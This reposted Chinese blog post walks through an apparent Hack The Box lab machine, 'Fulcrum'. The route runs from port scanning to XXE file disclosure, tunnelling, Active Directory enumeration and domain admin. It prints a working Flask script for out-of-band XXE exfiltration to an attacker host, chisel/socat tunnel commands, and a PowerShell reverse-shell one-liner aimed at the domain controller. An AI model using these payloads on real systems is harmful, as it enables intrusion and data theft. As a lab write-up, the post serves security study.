【内网渗透】域渗透实战之fulcrum
2023-11-28 00:1:40 Author: 白帽子(查看原文) 阅读量:10 收藏

现在公众号推文机制变了,只对常读和星标的公众号才展示大图推送

建议大家能把【moonsec】“设为星标”哦,否则可能就看不到了

暗月最近建立了数个攻防交流群 有兴趣 加微信 备注攻防 拉入群


【内网渗透】域渗透实战之fulcrum

端口扫描

使用nmap进行端口扫描,发现存在大量端口开放。

接着去查看其版本和对应的服务。

Fuzz接口

使用wfuzz对其url路径后的参数进行枚举。

目录遍历

使用工具进行目录枚举,未发现有用的目录。

接着去看服务,访问端口为4的页面。

目录暴力破解

然后继续对其进行爆破,发现存在home.php.

然后尝试进行上传,发现没法上传成功。

88端口

访问88端口,发现存在phpadmin登录界面。

尝试弱口令登录,没有成功。

56423端口

使用curl进行测试,发现有回显。

xxe漏洞

接着使用burp,然后抓包。

发现其存在xxe漏洞

文件泄露

然后使用xxe进行加载.dtd文件来读取文件。

xxe文件读取

开启http服务。

然后将读取到的内容进行解码,成功获取到读取的内容

SSRF漏洞

编写脚本

#!/usr/bin/python3

import base64
import logging
import readline
import requests
import threading
import time
from flask import Flask, request

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

app = Flask(__name__)
prev_data = ""

xml_template = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://10.10.14.6/dtd?fn={}">
<data>&send;</data>"""

@app.route("/dtd")
def dtd():
fn = request.args['fn']
return f"""<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={fn}">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://10.10.14.6/exfil?data=%file;'>">
%all;"""

@app.route("/exfil")
def data():
global prev_data
b64data = request.args['data'].replace(' ', '+') # Flask tries to URL decode it
print(b64data)
print(len(b64data))
data = base64.b64decode(b64data).decode().strip()
if data != prev_data:
print(data)
prev_data = data
return ""

def web():
app.run(host="0.0.0.0", port=80)

if __name__ == "__main__":
threading.Thread(target=web, daemon=True).start()
time.sleep(1)
#app.run(debug=True, use_reloader=False, host="0.0.0.0", port=80)
while True:
try:
fn = input("file> ")
xml = xml_template.format(fn)
requests.post('http://10.10.10.62:56423', data=xml)
except KeyboardInterrupt:
print()

反弹shell

执行脚本来反弹shell

开启http服务。

发现该脚本可以成功执行命令。

解码进行查看执行ping之后的内容。

使用nc进行反弹。

获取shell

成功获取webshell

查看网络进程。

查看端口。

网络枚举

上传nmap,然后进行端口扫描,发现其存在5985端口。

翻配置文件

发现存在config.inc.php,并发现了用户名和密码。

解密密码

隧道搭建

上传Chisel,然后搭建隧道。

./socat tcp-listen:60218,reuseaddr,fork tcp:192.168.122.228:5985 &
./chisel_1.9.1_linux_amd64 server -p 8000 --reverse
./chisel_1.9.1_linux_amd64 client 10.10.14.39:8001 R:socks
./socat tcp-listen:55555,reuseaddr,fork tcp:192.168.122.228:5985
socat tcp-listen:5985,reuseaddr,fork tcp:10.10.16.5:55555

然后在kali里面配置prtoychains,然后进行连接测试。

Winrm获取shell

发现存在dc和laap的连接记录。

LDAP查询

鉴于帐户名称和上面的注释,查询活动目录域似乎是个好主意。要从 PowerShell 查询 LDAP,我需要一个DirectoryEntry对象。这些对象被引用为System.DirectoryServices.DirectoryEntry, 或ADSI。有多种构造函数(创建对象的方法),但我将使用这个,因为它允许我传递用户名和密码。

搜索用户

使用原始 PowerShell 进行枚举

发现有8个用户,它们全部转储并滚动浏览

查询域管理员

上传PowerView工具

上传脚本,然后执行。

执行命令

获取user.txt

.\c.execlient10.10.14.39:8000R:5985:192.168.122.132:5985

隧道

枚举

查看共享。

发现域管密码

获取root.txt

读取到root.txt

反弹shell

执行命令,然后使用nc来反弹shell。

Invoke-Command -Computer dc.fulcrum.local -Credential $cred -scriptblock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.6',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()  }

REF:

https://www.cnblogs.com/autopwn/p/14049762.html

https://www.hackingarticles.in/hack-the-box-fulcrum-walkthrough/

关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650247160&idx=1&sn=4d119b9030298a0350f05594df1809ea&chksm=82ea5451b59ddd47e0eee76d658752b9bec52dd4e40bd7253d26b4cb5f53f7325ba0d0d7fa02&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh